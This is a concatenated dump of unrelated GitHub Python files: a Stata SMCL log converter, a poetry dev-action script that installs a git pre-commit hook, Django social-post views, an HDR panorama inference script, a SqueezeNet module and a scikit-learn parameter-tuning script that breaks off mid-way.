df\n","repo_name":"tal-tech/Teaching_interactive_quality_evaluation_solution","sub_path":"course_interaction/src/tools/util_tools.py","file_name":"util_tools.py","file_ext":"py","file_size_in_byte":2383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"5839073482","text":"# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n\nimport re\nimport os\nimport shutil\nimport logging\nfrom io import StringIO\nfrom typing import Union\nfrom pathlib import Path\nfrom tempfile import NamedTemporaryFile\nfrom contextlib import contextmanager\n\n\nLOG = logging.getLogger(\"smcl2log\")\n\n\n\n# Logging\n\n\n\ndef color_log(log):\n color_red = '\\033[91m'\n color_green = '\\033[92m'\n color_yellow = '\\033[93m'\n color_blue = '\\033[94m'\n color_end = '\\033[0m'\n\n level_colors = (\n (\"error\", color_red),\n (\"warning\", color_yellow),\n (\"info\", color_green),\n (\"debug\", color_blue),\n )\n\n safe = None\n color = None\n\n def xor(a, b):\n return bool(a) ^ bool(b)\n\n def _format(value):\n if isinstance(value, float):\n return \"%0.3f\"\n return \"%s\"\n\n def message_args(args):\n if not args:\n return \"\", []\n if (\n not isinstance(args[0], str) or\n xor(len(args) > 1, \"%\" in args[0])\n ):\n return \" \".join([_format(v) for v in args]), args\n return args[0], args[1:]\n\n def _message(args, color):\n message, args = message_args(args)\n return \"\".join([color, message, color_end])\n\n def _args(args):\n args = message_args(args)[1]\n return args\n\n def build_lambda(safe, color):\n return lambda *args, **kwargs: getattr(log, safe)(\n _message(args, color), *_args(args), **kwargs)\n\n for (level, color) in level_colors:\n safe = \"%s_\" % level\n setattr(log, safe, getattr(log, level))\n setattr(log, level, build_lambda(safe, color))\n\n\n\ndef init_logs(*logs, args=None):\n offset = args.verbose - args.quiet if args else 0\n level = (\n logging.FATAL,\n logging.ERROR,\n logging.WARNING,\n logging.INFO,\n logging.DEBUG\n )[max(0, min(4, 2 + offset))]\n\n for log in logs:\n if not isinstance(log, logging.Logger):\n log = logging.getLogger(log)\n log.addHandler(logging.StreamHandler())\n log.setLevel(level)\n color_log(log)\n\n\n\n@contextmanager\ndef AtomicOutputFile(path: Union[Path, str], **kwargs):\n \"\"\"\n Like a temporary file, but move to a desired permanent path\n if closed successful. Also create intermediate folders if necessary.\n \"\"\"\n # pylint: disable=invalid-name\n # - Matching capitalized `NamedTemporaryFile` `contextmanager` function\n\n path = Path(path)\n kwargs = {\n **kwargs,\n **{\n \"delete\": False,\n }\n }\n\n with NamedTemporaryFile(\"w\", **kwargs) as temp:\n LOG.debug(\n \"Opened temporary file `%s` for writing.\",\n Path(temp.name).absolute())\n\n yield temp\n\n os.makedirs(path.parent, exist_ok=True)\n shutil.move(temp.name, path)\n LOG.info(\"Wrote `%s`\", path.absolute())\n\n\ndef split_parts(s):\n out = []\n count = 0\n sub = \"\"\n for part in re.split(r\"([{}])\", s):\n if part == \"{\":\n count += 1\n sub += part\n elif part == \"}\":\n sub += part\n count -= 1\n if count == 0:\n out.append(sub)\n sub = \"\"\n else:\n if count == 0:\n out.append(part)\n else:\n sub += part\n\n return out\n\n\n\ndef smcl2log(out, smcl_path, number: Union[int, None]):\n LOG.info(smcl_path.name)\n\n if not isinstance(smcl_path, Path):\n smcl_path = Path(smcl_path)\n\n def parse(out, chunk, cmd=0, mode=None, line=None, col=0):\n def write(s):\n if number is not None and cmd != number:\n return\n out.write(s)\n\n for part in split_parts(chunk):\n if part.startswith(\"{\"):\n cmd_parts = re.split(r\"\\s+\", part[1:-1])\n\n if cmd_parts[0] == \"smcl\":\n mode = \"init\"\n assert len(cmd_parts) == 1\n continue\n\n if cmd_parts[0] == \".-\":\n mode = None\n assert len(cmd_parts) == 1\n continue\n\n if cmd_parts[0] in (\"txt\", \"res\", ):\n assert len(cmd_parts) == 1\n mode = cmd_parts[0]\n continue\n\n if cmd_parts[0] in (\"bf\", \"sf\", \"err\", \"p_end\"):\n assert len(cmd_parts) == 1\n continue\n\n if cmd_parts[0] in (\"p\"):\n assert len(cmd_parts) == 3\n continue\n\n if cmd_parts[0] in (\"search\"):\n continue\n\n if cmd_parts[0] == \"ul\":\n assert cmd_parts == [\"ul\", \"off\"]\n continue\n\n if re.match(r\"(res|bf|text)\", cmd_parts[0]):\n text = part[1:-1].split(\":\", 1)[1]\n write(text)\n col += len(text)\n continue\n\n if cmd_parts[0] == \"ralign\":\n count, code = re.match(r\"\\{ralign (\\d+):(.*)\\}\", part).groups()\n count = int(count)\n out_ = StringIO()\n (cmd_, mode_, line_, col_, ) = parse(out_, code, cmd=cmd)\n value = (\"%%%ds\" % count) % out_.getvalue()\n write(value)\n col += len(value)\n continue\n\n if cmd_parts[0] in (\"help\"):\n null, code = re.match(r\"\\{help (.*):(.*)\\}\", part).groups()\n out_ = StringIO()\n (cmd_, mode_, line_, col_, ) = parse(out_, code, cmd=cmd)\n value = out_.getvalue()\n write(value)\n col += len(value)\n continue\n\n if cmd_parts[0] == \"col\":\n assert len(cmd_parts) == 2\n target = int(cmd_parts[1])\n lack = max(0, target - col)\n write(\" \" * lack)\n col += lack\n continue\n\n if cmd_parts[0] == \"space\":\n assert len(cmd_parts) == 2\n count = int(cmd_parts[1])\n write(\" \" * count)\n col += count\n continue\n\n if cmd_parts[0] == \"hline\":\n assert len(cmd_parts) == 2\n count = int(cmd_parts[1])\n write(\"-\" * count)\n # write(repr(count))\n col += count\n continue\n\n if cmd_parts[0] == \"c\":\n assert len(cmd_parts) == 2\n lookup = {\n \"|\": \"|\",\n \"+\": \"+\",\n \"TT\": \"+\",\n \"BT\": \"+\",\n }\n value = lookup[cmd_parts[1]]\n write(value)\n col += len(value)\n continue\n\n if cmd_parts[0] == \"com\":\n assert len(cmd_parts) == 1\n if mode == \"init\":\n continue\n mode = cmd_parts[0]\n if number is not None and cmd > number:\n break\n cmd += 1\n msg = \"%d \" % cmd\n write(msg)\n col += len(msg)\n continue\n\n LOG.warning(\"Ignoring unrecognised token: %s\", repr(part))\n\n else:\n if mode == \"init\":\n continue\n\n msg = part\n if \"\\n\" in part:\n col = len(part.split(\"\\n\")[-1])\n else:\n col += len(part)\n\n write(part)\n\n if number is not None and cmd > number:\n break\n\n return (cmd, mode, line, col)\n\n\n cmd = 0\n mode = None\n line = None\n col = 0\n\n out.write(\"\")\n with smcl_path.open() as fp:\n for i, line in enumerate(fp.readlines()):\n (cmd, mode, line, col) = parse(out, line, cmd, mode, line, col)\n if number is not None and cmd > number:\n break\n","repo_name":"ianmackinnon/smcl2log","sub_path":"smcl2log/smcl2log.py","file_name":"smcl2log.py","file_ext":"py","file_size_in_byte":8876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"74211252900","text":"# Poetry doesn't have a command-sequencer, and running \"poetry run \" four times for\n# different values of is really annoying, so wrap them up here.\n\nimport subprocess\nimport os\nimport stat\nimport sys\n\n_MODULE = \"sistrum\"\n\ndef check():\n basedir = os.path.dirname(os.path.realpath(__file__))\n\n e = subprocess.run([\"black\", \"--check\", _MODULE], cwd=basedir)\n if e.returncode != 0:\n sys.exit(e.returncode)\n\n # Run linter\n e = subprocess.run([\"pylint\", _MODULE], cwd=basedir)\n if e.returncode != 0:\n sys.exit(e.returncode)\n\n # Update docs\n e = subprocess.run([\"make\", \"html\"], cwd=os.path.join(basedir, \"docs\"))\n if e.returncode != 0:\n sys.exit(e.returncode)\n\n # Code coverage\n e = subprocess.run([\"coverage\", \"run\", \"-m\", \"--source=\" + _MODULE, \"pytest\"], cwd=basedir)\n if e.returncode != 0:\n sys.exit(e.returncode)\n e = subprocess.run([\"coverage\", \"html\"], cwd=basedir)\n if e.returncode != 0:\n sys.exit(e.returncode)\n\n\ndef pre_commit_hook():\n check()\n\n\ndef install_hooks():\n basedir = os.path.dirname(os.path.realpath(__file__))\n\n pre_commit_hook_str = r'''\n#!/bin/sh\n\nPOETRY=$(which poetry)\nif [ \"$POETRY\" = \"\" ]; then\n\techo \"*** Can't find poetry to invoke pre-commit hook!\"\nfi\nif [ -e \"$POETRY.bat\" ]; then\n\t# On Windows, we want to run the .bat file sitting alongside.\n\tPOETRY=\"$POETRY.bat\"\nfi\n\nexec $POETRY run pre_commit_hook\n'''.lstrip('\\n')\n\n pre_commit_path = os.path.join(basedir, \".git\", \"hooks\", \"pre-commit\")\n\n with open(pre_commit_path, \"w\") as fd:\n fd.write(pre_commit_hook_str)\n os.chmod(pre_commit_path, stat.S_IRWXU | stat.S_IRGRP | stat.S_IROTH)\n","repo_name":"bstreiff/sistrum","sub_path":"dev_actions.py","file_name":"dev_actions.py","file_ext":"py","file_size_in_byte":1675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"24722249312","text":"from .forms import PostForm, CommentForm\nfrom .models import Post, Comment\nfrom .orm_utils import (\n get_home_posts_list,\n get_paginated_posts,\n get_most_popular_posts,\n get_suggested_friends\n)\nfrom accounts.models import Profile\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.exceptions import PermissionDenied\nfrom django.http import HttpResponseRedirect, JsonResponse\nfrom django.shortcuts import render, redirect, get_object_or_404\nfrom django.template.loader import render_to_string\nfrom django.urls import reverse\nfrom django.views.decorators.http import require_POST, require_GET\nfrom django.views.generic import TemplateView\nfrom notifications.signals import notify\n\n\nclass Home(TemplateView):\n\n template_name = 'posts/home.html'\n\n def get(self, request):\n post_form = PostForm()\n comment_form = CommentForm()\n form = PostForm()\n\n posts_list, following_list, _ = get_home_posts_list(request)\n posts = get_paginated_posts(request, posts_list)\n\n args = {\n 'posts': posts,\n 'most_popular_posts': get_most_popular_posts(),\n 'post_form': post_form,\n 'comment_form': comment_form,\n 'suggested_friends': get_suggested_friends(\n request, following_list),\n }\n return render(request, self.template_name, args)\n\n@require_GET\n@login_required\ndef view_post(request, pk):\n post = get_object_or_404(Post, pk=pk)\n comment_form = CommentForm()\n\n args = {\n 'post': post,\n 'comment_form': comment_form,\n 'comments_count': post.comments.count()\n }\n return render(request, 'posts/view_post.html', args)\n\n\n@require_POST\n@login_required\ndef new_post(request):\n post_form = PostForm(request.POST)\n post_data = {}\n\n if post_form.is_valid():\n post = post_form.save(commit=False)\n post.user = request.user\n post.save()\n\n post_data = {\n 'pk': post.pk,\n 'form_is_valid': True,\n 'post': render_to_string(\n 'posts/_post_base.html',\n {\n 'post': post,\n 'comment_form': CommentForm()\n },\n request=request\n ),\n 'comments_count': render_to_string(\n 'posts/_comments_count_base.html',\n {\n 'comments_count': post.comments.count()\n },\n request=request\n )\n }\n else:\n post_data['form_is_valid'] = False\n\n return JsonResponse(post_data)\n\n\n@require_POST\n@login_required\ndef new_comment(request):\n post_id = request.POST.get('pk', None)\n post = get_object_or_404(Post, pk=post_id)\n comment_form = CommentForm(request.POST)\n \n current_user = request.user\n post_author = post.user\n\n if comment_form.is_valid():\n comment = comment_form.save(commit=False)\n comment.author = request.user\n comment.post = post\n comment.save()\n comments = post.comments.all()\n comments_count = comments.count()\n\n comment_data = {\n 'pk': comment.pk,\n 'form_is_valid': True,\n 'post_id': post.id,\n 'comments_count': render_to_string(\n 'posts/_comments_count_base.html',\n {\n 'comments_count': comments_count\n },\n request=request\n ),\n 'comment': render_to_string(\n 'posts/_comment_base.html',\n {\n 'comment': comment,\n },\n request=request\n )\n }\n if current_user != post_author:\n notify.send(\n sender=request.user,\n recipient=post.user,\n verb=f'commented on your post',\n target=post,\n action_object=comment,\n level='info',\n public=False,\n )\n else:\n comment_data['form_is_valid'] = False\n\n return JsonResponse(comment_data)\n\n\n@login_required\ndef edit_post(request, pk):\n post = get_object_or_404(Post, pk=pk)\n\n if request.user != post.user:\n raise PermissionDenied()\n\n if request.method == 'POST':\n edit_post_form = PostForm(request.POST, instance=post)\n if edit_post_form.is_valid():\n edit_post_form.save()\n\n data = {\n 'post': render_to_string(\n 'posts/_post_editable_content.html',\n {\n 'post': post,\n },\n request=request\n ),\n 'form_is_valid': True\n }\n else:\n data = {\n 'form_is_valid': False\n }\n else:\n edit_post_form = PostForm(instance=post)\n data = {\n 'edit_post_form': render_to_string(\n 'posts/_edit_post_form_base.html',\n {\n 'post': post,\n 'edit_post_form': edit_post_form\n },\n request=request,\n )\n }\n return JsonResponse(data)\n\n@login_required\ndef edit_comment(request, pk):\n comment = get_object_or_404(Comment, pk=pk)\n\n if request.user != comment.author:\n raise PermissionDenied()\n\n if request.method == 'POST':\n edit_comment_form = CommentForm(request.POST, instance=comment)\n if edit_comment_form.is_valid():\n edit_comment_form.save()\n data = {\n 'comment': render_to_string(\n 'posts/_comment_editable_content.html',\n {\n 'comment': comment\n },\n request=request\n ),\n 'form_is_valid': True\n }\n else:\n data = {\n 'form_is_valid': False\n }\n else:\n edit_comment_form = CommentForm(instance=comment)\n data = {\n 'edit_comment_form': render_to_string(\n 'posts/_edit_comment_form_base.html',\n {\n 'comment': comment,\n 'edit_comment_form': edit_comment_form\n },\n request=request,\n )\n }\n return JsonResponse(data)\n\n@require_GET\n@login_required\ndef cancel_edit_post(request, pk):\n post = get_object_or_404(Post, pk=pk)\n data = {\n 'post': render_to_string(\n 'posts/_post_editable_content.html',\n {\n 'post': post\n },\n request=request\n )\n }\n return JsonResponse(data)\n\n@require_GET\n@login_required\ndef cancel_edit_comment(request, pk):\n comment = get_object_or_404(Comment, pk=pk)\n data = {\n 'comment': render_to_string(\n 'posts/_comment_editable_content.html',\n {\n 'comment': comment\n },\n request=request\n )\n }\n return JsonResponse(data)\n\n\n@require_POST\n@login_required\ndef delete_post(request):\n pk = request.POST.get('pk', None)\n post = get_object_or_404(Post, pk=pk)\n\n if request.user != post.user:\n raise PermissionDenied()\n\n data = {}\n absolute_url = request.build_absolute_uri(\n reverse('posts:view_post', args=[post.pk])\n )\n referer_url = request.META.get('HTTP_REFERER', '/')\n if referer_url == absolute_url:\n data = {\n 'redirect': reverse('posts:home')\n }\n post.delete()\n return JsonResponse(data)\n\n\n@require_POST\n@login_required\ndef delete_comment(request):\n pk = request.POST.get('pk', None)\n comment = get_object_or_404(Comment, pk=pk)\n post = comment.post\n if request.user != comment.author:\n raise PermissionDenied()\n\n comment.delete()\n comments_count = post.comments.count()\n\n data = {\n 'comments_count': render_to_string(\n 'posts/_comments_count_base.html',\n {\n 'comments_count': comments_count\n },\n request=request\n ),\n 'post_id': post.pk\n }\n if comments_count == 0:\n data.update({\n 'empty_comments': render_to_string(\n 'posts/_comments_base.html',\n {\n 'comments': post.comments.all(),\n 'post': post,\n },\n request=request\n )\n })\n return JsonResponse(data)\n\n@require_POST\n@login_required\ndef like_post(request):\n current_user = request.user\n post_id = request.POST.get('pk', None)\n post = get_object_or_404(Post, pk=post_id)\n\n if post.likes.filter(id=current_user.id).exists():\n post.likes.remove(current_user)\n else:\n post.likes.add(current_user)\n \n if current_user != post.user:\n notify.send(\n sender=current_user,\n recipient=post.user,\n verb='liked your post',\n target=post,\n level='primary',\n public=False\n )\n\n data = {\n 'likes': render_to_string(\n 'posts/_like_base.html',\n {\n 'post': post\n },\n request=request\n ),\n 'likes_count': post.total_likes,\n 'form_is_valid': True\n }\n return JsonResponse(data)","repo_name":"MShbana/post-it","sub_path":"posts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"33480795166","text":"\"\"\"\nInference Code\n\"\"\"\nfrom skimage import metrics\nfrom loss import TrainLoss\nimport argparse\nimport cv2\nimport numpy as np\nimport os\nimport random\nimport torchvision.transforms as trasforms\nimport tensorboardX\nimport time\nimport torch\nimport torch.nn as nn\nfrom torch.optim import Adam\nfrom torch.utils.data import DataLoader\nfrom torchvision import transforms\nfrom tqdm import tqdm\nimport time\n\nfrom skimage.transform import resize\n\nimport warnings\nwarnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n\ndef create_mask(img, height, width):\n alpha = 0.90\n img_gray = cv2.cvtColor((img*255).astype('uint8'),\n cv2.COLOR_RGB2GRAY)/255.0\n mask = np.maximum(0, img_gray-alpha)/(1-alpha)\n mask = np.clip(mask, 0, 1)\n mask = mask.reshape((height, width, 1))\n return mask\n\n\ndef binary_mask(img, height, width):\n img_gray = cv2.cvtColor((img*255).astype('uint8'),\n cv2.COLOR_RGB2GRAY)/255.0\n mask = img_gray\n mask[mask < 0.85] = 0\n mask[mask > 0.85] = 1\n mask = np.clip(mask, 0, 1)\n mask = mask.reshape((height, width, 1))\n return mask\n\n\ndef smooth_mask(img, height, width):\n img_gray = cv2.cvtColor((img*255).astype('uint8'),\n cv2.COLOR_RGB2GRAY)/255.0\n mask = img_gray\n mask[mask < 0.8] = 0\n mask[mask > 0.85] = 1\n mask = np.maximum(0, mask-0.8)/(1-0.8)\n mask = np.clip(mask, 0, 1)\n mask = mask.reshape((height, width, 1))\n return mask\n\n\ndef read_img_hdr(ldr_name, hdr_name, height, width, strategy='basic'):\n '''\n Read hdr image and equalize the luminance\n '''\n\n\n ldr_img = cv2.imread(os.path.join(args.test_dir, ldr_name))\n ldr_img = resize(ldr_img, (height, width), anti_aliasing=True)\n\n hdr_img = cv2.imread(os.path.join(args.gt_dir, hdr_name), -1)\n hdr_img = resize(hdr_img, (height, width), anti_aliasing=True)\n\n ldr_img_gamma = ldr_img ** (2.2)\n LDR_I = np.mean(ldr_img_gamma, axis=2)\n mask = np.where(LDR_I > 0.83, 0, 1).reshape((256, 512, 1))\n mean_LDR = (mask * ldr_img_gamma).reshape(-1, 3).mean(0)\n hdr_img_expose = np.clip(hdr_img, 1e-5, 1e6)\n HDR_I = np.mean(hdr_img_expose, axis=2)\n mean_HDR = (mask * hdr_img_expose).reshape(-1, 3).mean(0)\n hdr_img_expose *= mean_LDR/mean_HDR\n\n hdr_img_gt = torch.from_numpy(hdr_img_expose)\n hdr_img_gt = hdr_img_gt.permute(2, 0, 1)\n hdr_img_gt = torch.log(hdr_img_gt)\n\n if strategy == 'basic':\n mask = create_mask(ldr_img, height, width)\n elif strategy == 'binary':\n mask = binary_mask(ldr_img, height, width)\n elif strategy == 'smooth':\n mask = smooth_mask(ldr_img, height, width)\n mask_gt = torch.from_numpy(mask)\n mask_gt = mask_gt.permute(2, 0, 1)\n\n ldr_img_gt = torch.from_numpy(np.clip(ldr_img, 1e-5, 1))\n ldr_img_gt = ldr_img_gt.permute(2, 0, 1)\n ldr_img_gt = ldr_img_gt.float()\n\n return ldr_img_gt.unsqueeze(dim=0).cuda(), mask_gt.unsqueeze(dim=0).cuda(), hdr_img_gt.unsqueeze(dim=0).cuda()\n\n\n\ndef read_img(ldr_name,height, width, strategy='smooth'):\n \n ldr_img = cv2.imread(os.path.join(args.test_dir, ldr_name))\n ldr_img = resize(ldr_img, (height, width), anti_aliasing=True)\n\n if strategy == 'basic':\n mask = create_mask(ldr_img, height, width)\n elif strategy == 'binary':\n mask = binary_mask(ldr_img, height, width)\n elif strategy == 'smooth':\n mask = smooth_mask(ldr_img, height, width)\n mask_gt = torch.from_numpy(mask)\n mask_gt = mask_gt.permute(2, 0, 1)\n\n ldr_img_gt = torch.from_numpy(np.clip(ldr_img, 1e-5, 1))\n ldr_img_gt = ldr_img_gt.permute(2, 0, 1)\n ldr_img_gt = ldr_img_gt.float()\n\n return ldr_img_gt.unsqueeze(dim=0).cuda(), mask_gt.unsqueeze(dim=0).cuda()\n\n\ndef make_image(image, gamma_correct=True, exposure=1):\n output = np.clip(np.clip(image, 0, 1)*exposure, 0, 1)\n if gamma_correct:\n output = output ** (1.0/2.2)\n output = output * 255.0\n output = output.astype(np.uint8)\n output = np.transpose(output, (1, 2, 0))\n output = cv2.cvtColor(output, cv2.COLOR_BGR2RGB)\n return output\n\n\ndef tensor2np(batched_image):\n return batched_image[0, :, :, :].detach().cpu().numpy()\n\n\ndef siMSE(gt, pred, alpha=1.0):\n return torch.mean(torch.mean((gt-pred)**2, axis=[1, 2, 3])\n - alpha*torch.pow(torch.mean(gt-pred, axis=[1, 2, 3]), 2))\n\nif __name__ == '__main__':\n \n parser = argparse.ArgumentParser()\n parser.add_argument('--test_dir', type=str, default='')\n parser.add_argument('--gt_dir', type=str, default='')\n parser.add_argument('--ckpt', type=str, default='')\n parser.add_argument('--width', type=int, default=1024)\n parser.add_argument('--height', type=int, default=512)\n parser.add_argument('--batch_size', type=int, default=1)\n parser.add_argument('--output_dir', type=str, default='./')\n parser.add_argument('--strategy', type=str, default='smooth')\n parser.add_argument('--transport_matrix', type=str,\n default='transportMat.BumpySphereMiddle.top.e64.r64.half.mat', help='directory to data')\n args = parser.parse_args()\n\n device = 'cuda'\n\n\n if args.gt_dir != '':\n imgs = [f for f in os.listdir(args.gt_dir) if os.path.isfile(\n os.path.join(args.gt_dir, f))]\n os.makedirs(f'{args.output_dir}/gt/', exist_ok=True) \n os.makedirs(f'{args.output_dir}/mask_gt/', exist_ok=True)\n else:\n imgs = [f for f in os.listdir(args.test_dir) if os.path.isfile(\n os.path.join(args.test_dir, f))]\n\n os.makedirs(f'{args.output_dir}/', exist_ok=True)\n\n l2loss = nn.MSELoss()\n l1loss = nn.L1Loss()\n model = torch.load(args.ckpt)\n model = model.cuda()\n\n model.eval()\n for i in tqdm(imgs):\n name = i.split('.')[0]\n ext = i.split('.')[-1]\n \n '''\n Preprocess input data and save ground truth for evaluation\n '''\n if args.gt_dir != '':\n ldr_gt, mask_gt, hdr_gt = read_img_hdr(\n f'{name}.png', f'{name}.exr', args.height, args.width, args.strategy)\n output_hdr_gt = tensor2np(hdr_gt)\n output_hdr_gt = np.transpose(\n np.exp(output_hdr_gt), (1, 2, 0)).astype('float32')\n ldr_gamma_gt = ldr_gt**(2.2)\n ldr_mask = ldr_gamma_gt*(torch.tensor([1]).cuda()-mask_gt)\n hdr_gt_mask = torch.exp(hdr_gt+epsilon)*mask_gt\n hdr_mask_gt = ldr_mask+hdr_gt_mask\n output_mask_gt = tensor2np(hdr_mask_gt)\n output_mask_gt = np.transpose(\n output_mask_gt, (1, 2, 0)).astype('float32')\n cv2.imwrite(os.path.join(f'{args.output_dir}/gt/',\n name+'.hdr'), output_hdr_gt)\n cv2.imwrite(os.path.join(f'{args.output_dir}/mask_gt/',\n name+'.hdr'), output_mask_gt)\n else:\n ldr_gt, mask_gt = read_img(\n f'{i}', args.height, args.width, args.strategy) \n \n '''\n Infer model and save results\n '''\n hdr_pred, mask_pred = model(ldr_gt)\n epsilon = torch.tensor([1e-5]).cuda()\n output_hdr_pred = tensor2np(hdr_pred)\n output_hdr_pred = np.transpose(\n np.exp(output_hdr_pred), (1, 2, 0)).astype('float32')\n\n hdr_mask = torch.exp(hdr_pred+epsilon)*mask_gt\n ldr_gamma_gt = ldr_gt**(2.2)\n ldr_mask = ldr_gamma_gt*(torch.tensor([1]).cuda()-mask_gt)\n hdr_mask_pred = ldr_mask+hdr_mask\n\n output_mask_pred = tensor2np(hdr_mask_pred)\n output_mask_pred = np.transpose(\n output_mask_pred, (1, 2, 0)).astype('float32')\n output_mask_pred = resize(output_mask_pred, (480, 960), anti_aliasing=True)\n \n\n ldr_gamma_gt = tensor2np(ldr_gamma_gt)\n ldr_gamma_gt = np.transpose(\n ldr_gamma_gt, (1, 2, 0)).astype('float32')\n \n cv2.imwrite(os.path.join(f'{args.output_dir}/',\n name+'.hdr'), output_mask_pred)\n \n\n \n","repo_name":"darthgera123/PanoHDR-NeRF","sub_path":"LANet/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":7986,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"35"} +{"seq_id":"12326804633","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n@date: 2020/4/26 下午3:39\n@file: fire.py\n@author: zj\n@description: \n\"\"\"\n\nimport torch\nimport torch.nn as nn\n\nfrom models.squeezenet.basic_conv2d import BasicConv2d\n\n\nclass Fire(nn.Module):\n\n def __init__(self, inplanes, squeeze_planes, expand1x1_planes, expand3x3_planes):\n super(Fire, self).__init__()\n conv_block = BasicConv2d\n\n self.inplanes = inplanes\n self.squeeze = conv_block(inplanes, squeeze_planes, kernel_size=1)\n self.expand1x1 = conv_block(squeeze_planes, expand1x1_planes, kernel_size=1)\n self.expand3x3 = conv_block(squeeze_planes, expand3x3_planes, kernel_size=3, padding=1)\n\n def forward(self, x):\n assert len(x.shape) == 4\n x = self.squeeze(x)\n return torch.cat([\n self.expand1x1(x),\n self.expand3x3(x)\n ], 1)\n","repo_name":"deep-learning-algorithm/LightWeightCNN","sub_path":"py/lib/models/squeezenet/fire.py","file_name":"fire.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"35"} +{"seq_id":"73554705702","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2017/10/28 下午2:19\n# @Author : LeonHardt\n# @File : parameter_tuning.py\n\n\nimport numpy as np\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.model_selection import GridSearchCV\n\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.svm import SVC\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\n\n\nif __name__ == '__main__':\n X = np.loadtxt('x_time_sample_F1000toT338.csv', delimiter=',')\n y = np.loadtxt('y_time_label_F1000toT338.csv', delimiter=',', dtype='int8')\n\n scl = ('scl', StandardScaler())\n lda = ('lda', LinearDiscriminantAnalysis())\n para_lda = range(1, 12, 1)\n \"\"\"\n choose the classification method:\n Methods:\n 1. Logistic Regression ------------------------- 'lr'\n 2. Support Vector Machine ------------------------- 'svm'\n 3. Decision Tree --------------------------- 'tree'\n 4. Random Forest ------------------------ 'forest'\n \"\"\"\n # Set the parameter of the classification method\n METHOD = 'SVM'\n REPORT_NEED = 0\n param_range = [0.000001, 0.000005, 0.00001, 0.00005, 0.0001, 0.0005, 0.001, 0.005, 0.01, 0.05, 0.1, 0.5, 1.0,\n 5.0, 10.0, 25.0, 40.0, 60.0, 80.0, 100.0, 200.0, 400.0, 600.0, 800.0, 1000.0, 2000.0, 4000.0, 6000.0, 8000.0,\n 10000.0, 20000.0, 30000.0]\n # param_range = [0.1, 1.0, 10.0]\n max_depth_range = range(2, 50, 2)\n\n \"\"\"\n if method is 'LR':\n \"\"\"\n # if METHOD is 'LR' or METHOD is 'ALL':\n # pip_lr = Pipeline([('scl', StandardScaler()), ('clf', LogisticRegression(random_state=1))])\n #\n # param_grid = [{'clf__C': param_range}]\n # gs = GridSearchCV(estimator=pip_lr, param_grid=param_grid, scoring='accuracy', cv=10, n_jobs=-1)\n # gs = gs.fit(X, y)\n #\n # # Show the full report (Yes: 1 ; No: 0)\n # if REPORT_NEED is 1:\n # print()\n # for number in range(len(param_range)):\n # print(\"%0.3f (+/-%0.03f) for %r\" % (gs.cv_results_['mean_test_score'][number],\n # gs.cv_results_['std_test_score'][number],\n # gs.cv_results_['params'][number],))\n #\n # with open(\"./parameter_result/lr_parameter.txt\", \"w\") as lr:\n # lr.write('mean_test_score: ' + str(gs.cv_results_['mean_test_score']) + '\\n' + 'std_test_score: ' +\n # str(gs.cv_results_['std_test_score']) + '\\nparameters: ' + str(gs.cv_results_['params']) + '\\n' +\n # 'Best parameters of Logistic Regression is: ' + str(gs.best_params_) + '\\n' +\n # 'Best score of Logistic Regression is: ' + str(gs.best_score_))\n # print(\"Best parameters of Logistic Regression is:\")\n # print(gs.best_params_)\n # print(gs.best_score_)\n\n \"\"\"\n if method is 'SVM':\n \"\"\"\n if METHOD is 'SVM' or METHOD is 'ALL':\n pip_svm = Pipeline([('scl', StandardScaler()), ('clf', SVC(random_state=1))])\n param_grid = [{'clf__C': param_range, 'clf__kernel': ['linear']},\n {'clf__C': param_range, 'clf__gamma': param_range,\n 'clf__kernel': ['rbf']}]\n gs = GridSearchCV(estimator=pip_svm, param_grid=param_grid, scoring='accuracy', cv=10, n_jobs=-1)\n print(\"start\")\n gs = gs.fit(X, y)\n\n # Show the full report (Yes: 1 ; No: 0)\n if REPORT_NEED is 1:\n print()\n for number in range(len(param_range)):\n print(\"%0.3f (+/-%0.03f) for %r\" % (gs.cv_results_['mean_test_score'][number],\n gs.cv_results_['std_test_score'][number],\n gs.cv_results_['params'][number],))\n # with open(\"./parameter_result/SVM_parameter.txt\", \"w\") as svm_parameter:\n # svm_parameter.write('mean_test_score: ' + str(gs.cv_results_['mean_test_score']) + '\\n' + 'std_test_score: ' +\n # str(gs.cv_results_['std_test_score']) + '\\nparameters: ' + str(gs.cv_results_['params']) + '\\n' +\n # 'Best parameters of SVM is: ' + str(gs.best_params_) + '\\n' +\n # 'Best score of SVM is: ' + str(gs.best_score_))\n print(\"Best parameters of SVM is:\")\n print(gs.best_params_)\n print(gs.best_score_)\n\n\n \"\"\"\n if method is 'tree':\n \"\"\"\n # if METHOD is 'TREE' or METHOD is 'ALL':\n # pip_tree = Pipeline([('scl', StandardScaler()), ('clf', DecisionTreeClassifier(random_state=1))])\n # param_grid = [{'clf__criterion': ['entropy'], 'clf__max_depth': max_depth_range}]\n # gs = GridSearchCV(estimator=pip_tree, param_grid=param_grid, scoring='accuracy', cv=10, n_jobs=-1)\n # 